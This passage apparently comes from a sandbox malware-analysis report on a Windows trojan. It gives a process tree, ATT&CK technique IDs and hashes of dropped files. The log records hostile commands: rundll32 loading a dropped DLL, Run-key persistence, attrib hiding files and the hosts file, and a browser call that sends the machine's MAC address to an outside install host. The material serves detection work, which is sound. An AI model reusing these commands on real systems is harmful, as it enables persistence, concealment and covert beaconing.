        rundll32.exe C:\Windows\system\zhnahsdf090213c.dll a16zhqb
        5⤵
        Checks computer location settings
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1644
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c "c:\zhqbdf16d.bat"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5008
        
        C:\Windows\system\zhahss090213.exe
        
        "C:\Windows\system\zhahss090213.exe" i
        7⤵
        Adds policy Run key to start application
        Executes dropped EXE
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4512
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib +s +h "C:\Windows\system\nbhsyh32b.dll"
        8⤵
        Sets file to hidden
        Drops file in Windows directory
        Views/modifies file attributes
        
        PID:4420
        
        C:\program files\internet explorer\iexplore.exe
        
        "C:\program files\internet explorer\iexplore.exe"
        8⤵
        
        PID:1860
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c del "C:\xx1215.exe"
        5⤵
        
        PID:3192
- - C:\tj01.exe
    "C:\tj01.exe"
    3⤵
    - Adds policy Run key to start application
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:4504
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -s -h "C:\Windows\system32\drivers\etc\hosts"
      4⤵
      Views/modifies file attributes
      PID:1688
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h "C:\Windows\system32\drivers\etc\hosts"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:456
  - - C:\program files\internet explorer\iexplore.exe
      "C:\program files\internet explorer\iexplore.exe" "http://qqvip-10.com/tj01/install.asp?ver=090215&tgid=tj01&address=DA-E6-0F-07-E0-7D&regk=1&flag=e610aa8793ee198ec559b047f34c25d2&frandom=9360"
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3540
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3540 CREDAT:17410 /prefetch:2
        5⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:2068
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3540 CREDAT:82948 /prefetch:2
        5⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:1624

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x474 0x304
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:224

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\02.exe

Filesize
52KB

MD5
891885d3ed7e9785732118716369f8a5

SHA1
400c5ad16051202257910dc74d6133f5c9172bd3

SHA256
00225a54fc6ac7fe41af9bd1f338ef4eaf18c429d1cd7023c09e0755a2fe250d

SHA512
377d4bc5bf9dc6f87246b0ea81e4a586272a0c041780e9b05a54a31fb064f8fbdf184032ad33b4ccffe4be1f58d8dbd6c910131d20dd228d3d5634a27122456b

Download Submit
C:\02.exe

Filesize
52KB

MD5
891885d3ed7e9785732118716369f8a5

SHA1
400c5ad16051202257910dc74d6133f5c9172bd3

SHA256
00225a54fc6ac7fe41af9bd1f338ef4eaf18c429d1cd7023c09e0755a2fe250d

SHA512
377d4bc5bf9dc6f87246b0ea81e4a586272a0c041780e9b05a54a31fb064f8fbdf184032ad33b4ccffe4be1f58d8dbd6c910131d20dd228d3d5634a27122456b

Download Submit
C:\1.exe

Filesize
97KB

MD5
3187967732bcd4bbdb12124e9c16dc75

SHA1
ac7767c2f674f8f5667d7015dc60eb498327b959

SHA256
d0ca8abdd78d1c46396e853fa8c0cd0b355212effaaf604306780a19a5d35f4e

SHA512
6cdc0523bf201f3b35da16ede613d137ddb39bd50076d3a9dd22f874663a57780aa3946464d72523b1b3c331dace75030bcd6471387c223f2f1e248364d6e4eb

Download Submit
C:\1.exe

Filesize
97KB

MD5
3187967732bcd4bbdb12124e9c16dc75

SHA1
ac7767c2f674f8f5667d7015dc60eb498327b959

SHA256
d0ca8abdd78d1c46396e853fa8c0cd0b355212effaaf604306780a19a5d35f4e

SHA512
6cdc0523bf201f3b35da16ede613d137ddb39bd50076d3a9dd22f874663a57780aa3946464d72523b1b3c331dace75030bcd6471387c223f2f1e248364d6e4eb

Download Submit
C:\1261.exe

Filesize
41KB

MD5
f16fdd93d49f5fdb990562dc354a7cb4

SHA1
de8c4281576bbb3aa523c335458656b936c08c79

SHA256
91fea5371588d819e54495b2a995850b4617f6eaed7b1e49fdd6f636803e6c71

SHA512
126942eb00d0e57b70bd7faccc4f9ce2ba04d8d59a38c1a525917e507637a84ff8f75eee9e4e2bfc6494aa202d368d14ca5f4b404e67f1a9eac3278da0f1d896

Download Submit
C:\1261.exe

Filesize
41KB

MD5
f16fdd93d49f5fdb990562dc354a7cb4

SHA1
de8c4281576bbb3aa523c335458656b936c08c79

SHA256
91fea5371588d819e54495b2a995850b4617f6eaed7b1e49fdd6f636803e6c71

SHA512
126942eb00d0e57b70bd7faccc4f9ce2ba04d8d59a38c1a525917e507637a84ff8f75eee9e4e2bfc6494aa202d368d14ca5f4b404e67f1a9eac3278da0f1d896

Download Submit
C:\2.exe

Filesize
192KB

MD5
938e52934faf6e925162f6921da82cc6

SHA1
b0bf8d4432286d716183b8b6fa8bd980c2844491

SHA256
dac60d7bd3e25a1db6d78df253521150fcddb229d889f6f67ccadb09c74b0d3f

SHA512
c050d2da20f6b07b28497e521d2f1794165e085990fac097b208558a2bb6ef85abf8a3403f18d96373930cf0940a6512dca3e38831156a93d4826de51c94f131

Download Submit
C:\2.exe

Filesize
192KB

MD5
938e52934faf6e925162f6921da82cc6

SHA1
b0bf8d4432286d716183b8b6fa8bd980c2844491

SHA256
dac60d7bd3e25a1db6d78df253521150fcddb229d889f6f67ccadb09c74b0d3f

SHA512
c050d2da20f6b07b28497e521d2f1794165e085990fac097b208558a2bb6ef85abf8a3403f18d96373930cf0940a6512dca3e38831156a93d4826de51c94f131

Download Submit
C:\Documents and Settings\All Users\hsyhdf16.ini

Filesize
163B

MD5
d371d2d466789b26a76e75b1bfc39a91

SHA1
674b32d5643cca2c9a64f4a79b50afcf908244a1

SHA256
4ad0ba4509683d22c568a1c5e0d781566bc0abb97b587cd12d1cf8b6c159c346

SHA512
29ac8d4080324ba02ee9e591d44c68402e558b374f50c8ef823de5ab7489c4a00dc76f943a8738b83248446db0c25c0ef1459fa8efb0f6c788d2ec1a9ef58d10

Download Submit
C:\Documents and Settings\All Users\hsyhdf16.ini

Filesize
224B

MD5
58d19b5a8e1936d8d22a4ba7603b2637

SHA1
72dc91f3a4dab5afc17071cabc0856fad672865d

SHA256
ef15298fa4306e2bb6908d578215bf248d293677999edc143db5f1adabd8705f

SHA512
18e6902c2f6395aaf5a6b6e1db0165654114f8577c6b3086c1b1c0193b132349b08a278f5f953da232a321a34d32cb5d01777f46939e925280b6795f47dc64dc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
471B

MD5
fd70739fca5345a28f924f9102ae10ee

SHA1
6ce3f92183544f3bf52cb76364591589cb940a19

SHA256
f238404cc643efddef8ff430f128cdc8ec1513969eaac24b5e5bce81248a91e7

SHA512
a787d3a2bceeaed2f2a29f357df6ae17d5b9f66a3c561550d5f83c308ad26a1ddf876488151ff5e51ce93bfb9d0c7b8ca812d595e8d3ebdda7d805707ac1b278

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
471B

MD5
fd70739fca5345a28f924f9102ae10ee

SHA1
6ce3f92183544f3bf52cb76364591589cb940a19

SHA256
f238404cc643efddef8ff430f128cdc8ec1513969eaac24b5e5bce81248a91e7

SHA512
a787d3a2bceeaed2f2a29f357df6ae17d5b9f66a3c561550d5f83c308ad26a1ddf876488151ff5e51ce93bfb9d0c7b8ca812d595e8d3ebdda7d805707ac1b278

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
404B

MD5
2ccea38684d11401546e3420a29eff48

SHA1
0602dca06aa0b09c0c05ba3290c2057c9bee9c34

SHA256
0bae6aebed31ece23859163208234f3bcc6453e184ea03a95dd792b3983a0e4d

SHA512
ee8eae6c9e61f4476a2abe6667a34e07b5692abc6223976c73d5c8b15d16cb205eaab25adac62a533a1aab189931ddd0236bacd53c86d003995a58964c7b5465

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
404B

MD5
2ccea38684d11401546e3420a29eff48

SHA1
0602dca06aa0b09c0c05ba3290c2057c9bee9c34

SHA256
0bae6aebed31ece23859163208234f3bcc6453e184ea03a95dd792b3983a0e4d

SHA512
ee8eae6c9e61f4476a2abe6667a34e07b5692abc6223976c73d5c8b15d16cb205eaab25adac62a533a1aab189931ddd0236bacd53c86d003995a58964c7b5465

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{87277B5F-42DE-11ED-B696-DAE60F07E07D}.dat

Filesize
5KB

MD5
d67f7947116bc668009cde1ffea13a7e

SHA1
9ee49e2ae77bb7468176814d126bb86a2448b495

SHA256
2fd0e7d5b42aa5f5025444ce79ffd003ab6847d092f091eb3b9c2f2bd7dfeae8

SHA512
52b4fca23a757b460f33b9f3e41d3196af852214370b8f06d2372c34a2966f34014cdcfb17757c75f4e3ecae56b9098b467b973f5398636311f6fe634c0df150

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{8729DF84-42DE-11ED-B696-DAE60F07E07D}.dat

Filesize
3KB

MD5
3dac4a66154c1c5b1f2b8c6633008785

SHA1
9222f8d9b200656a1a91c8a6b080b3cc56f50749

SHA256
481001a653b99b25041c6702624dd3950ecd6f5fd505b546058cc06b5faa48b9

SHA512
f5c88195512859c53b0ff8ef1b6394423f86c5b66f1260756aa0ebe272ea519d0ec7ed1838e15a942cc595c96f297864038640e5fb2b2b50577d56494533a0f6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\dqptnfu\imagestore.dat

Filesize
1KB

MD5
504e45d9bd6394007739635b04130c26

SHA1
4c4d8455219d44f9c84366e4baad722f5b4d3051

SHA256
19a6dcd58976bd43bd4659f8df4c4c690bc268b88baafcec0ed3337f92dbb615

SHA512
3aedd0859ba50677f760773c69ef3462e13e27fcdcb7dac2c5d81bc5f05d6c581b1c99d11148e992899f7d78b6be9709deeb3a4640acc35df0e6b612875911b9

Download Submit
C:\Windows\System\zhahss090213.exe

Filesize
72KB

MD5
1e860ee08f069dc4980a573825d3e1dd

SHA1
bd2bbe9fe2c59a800c74a097e67de279ab01c404

SHA256
dd2cdd95d2f57c22310b952ccf3ab316adc0fc589ac0a2e87d27b3262a25af26

SHA512
62cb537d4a8921df905e3ffbbe0cd95dc308f2c24e3bc7d26637e92fd5576d18a643ce969aca544efc4f65ec0a94ce06484f3c5c0365dc2c89fc443d22554bb5

Download Submit
C:\Windows\System\zhnahsdf090213c.dll

Filesize
29KB

MD5
05634aec0121ce5322471ad951a9f277

SHA1
b7d2bdbf607459b6a6ee4355a3fc2a11e482e51c

SHA256
594875899c54cb89c1c9650038af843d38e1907f24da968f3b4c11c9858756fe

SHA512
266cf75cdc14c85a01101816bd6d8f8fda43dc2ef932df5b6977a832bcfa5da80b8959bd62a93ff5d405174b511ff3473a6c5759520580f0d3db501f0f285ace

Download Submit
C:\Windows\system\nbhsyh32b.dll

Filesize
119KB

MD5
91465a32b7334ae7439dbf2028bd7a33

SHA1
d07f16776539d4efccd6e5810d188395a802ee34

SHA256
bb6bd137e68d1ae12feab4186ee11498201c7342d8b7cbe64e4432612dc0e183

SHA512
2a7658e684489ff037d78368ba06bc9b07b7159bbd5b18e0ed3893bc4e13222e5da8cd188d5f0d89c8f408c2978af66d92e0d242e95e129a8fbef50a9f987d14

Download Submit
C:\Windows\system\zhahss090213.exe

Filesize
72KB

MD5
1e860ee08f069dc4980a573825d3e1dd

SHA1
bd2bbe9fe2c59a800c74a097e67de279ab01c404

SHA256
dd2cdd95d2f57c22310b952ccf3ab316adc0fc589ac0a2e87d27b3262a25af26

SHA512
62cb537d4a8921df905e3ffbbe0cd95dc308f2c24e3bc7d26637e92fd5576d18a643ce969aca544efc4f65ec0a94ce06484f3c5c0365dc2c89fc443d22554bb5

Download Submit
C:\Windows\system\zhnahsdf090213c.dll

Filesize
29KB

MD5
05634aec0121ce5322471ad951a9f277

SHA1
b7d2bdbf607459b6a6ee4355a3fc2a11e482e51c

SHA256
594875899c54cb89c1c9650038af843d38e1907f24da968f3b4c11c9858756fe

SHA512
266cf75cdc14c85a01101816bd6d8f8fda43dc2ef932df5b6977a832bcfa5da80b8959bd62a93ff5d405174b511ff3473a6c5759520580f0d3db501f0f285ace

Download Submit
C:\tj01.exe

Filesize
45KB

MD5
b0b80b1f78d65d187027bd136af38a60

SHA1
8f5aa9bd50312bffb85a13e462b842da8d15a2ce

SHA256
dc36748dc67d44ae492591d307c2ecd05969a3729a13d5d9a68a4685da4971b0

SHA512
9461c480391305c85bb73b3b7c5be3ae221a22a91ec25bea4215e174cbc1d3c77e526fa45c3baea5fb05cd700137abef4c3dbeeb0792b62c2e194fbd82012c12

Download Submit
C:\tj01.exe

Filesize
45KB

MD5
b0b80b1f78d65d187027bd136af38a60

SHA1
8f5aa9bd50312bffb85a13e462b842da8d15a2ce

SHA256
dc36748dc67d44ae492591d307c2ecd05969a3729a13d5d9a68a4685da4971b0

SHA512
9461c480391305c85bb73b3b7c5be3ae221a22a91ec25bea4215e174cbc1d3c77e526fa45c3baea5fb05cd700137abef4c3dbeeb0792b62c2e194fbd82012c12

Download Submit
C:\xx1215.exe

Filesize
72KB

MD5
1e860ee08f069dc4980a573825d3e1dd

SHA1
bd2bbe9fe2c59a800c74a097e67de279ab01c404

SHA256
dd2cdd95d2f57c22310b952ccf3ab316adc0fc589ac0a2e87d27b3262a25af26

SHA512
62cb537d4a8921df905e3ffbbe0cd95dc308f2c24e3bc7d26637e92fd5576d18a643ce969aca544efc4f65ec0a94ce06484f3c5c0365dc2c89fc443d22554bb5

Download Submit
C:\xx1215.exe

Filesize
72KB

MD5
1e860ee08f069dc4980a573825d3e1dd

SHA1
bd2bbe9fe2c59a800c74a097e67de279ab01c404

SHA256
dd2cdd95d2f57c22310b952ccf3ab316adc0fc589ac0a2e87d27b3262a25af26

SHA512
62cb537d4a8921df905e3ffbbe0cd95dc308f2c24e3bc7d26637e92fd5576d18a643ce969aca544efc4f65ec0a94ce06484f3c5c0365dc2c89fc443d22554bb5

Download Submit
\??\c:\zhqbdf16d.bat

Filesize
48B

MD5
a907130c2404910a21292a30ae8ae565

SHA1
3da22783843ada0cff9476d0cff20d79e151aab4

SHA256
255b709f59fd7388ffbde5be38cbd2e0f448a9ed832a8dc8349821214d6c70c8

SHA512
db172ad930bbdea4f137b09b71313fe12c5415e4568c4a1655e9ab6dc9e7f92bb50acfee67760255b600fc904f8e6af8584b474a1d8dd279ebacbd42cad68fa1

Download Submit
memory/4640-172-0x0000000000180000-0x00000000001B4000-memory.dmp

Filesize
208KB

Download
memory/4640-153-0x0000000000180000-0x00000000001B4000-memory.dmp

Filesize
208KB

Download
memory/4640-159-0x0000000000180000-0x00000000001B4000-memory.dmp

Filesize
208KB

Download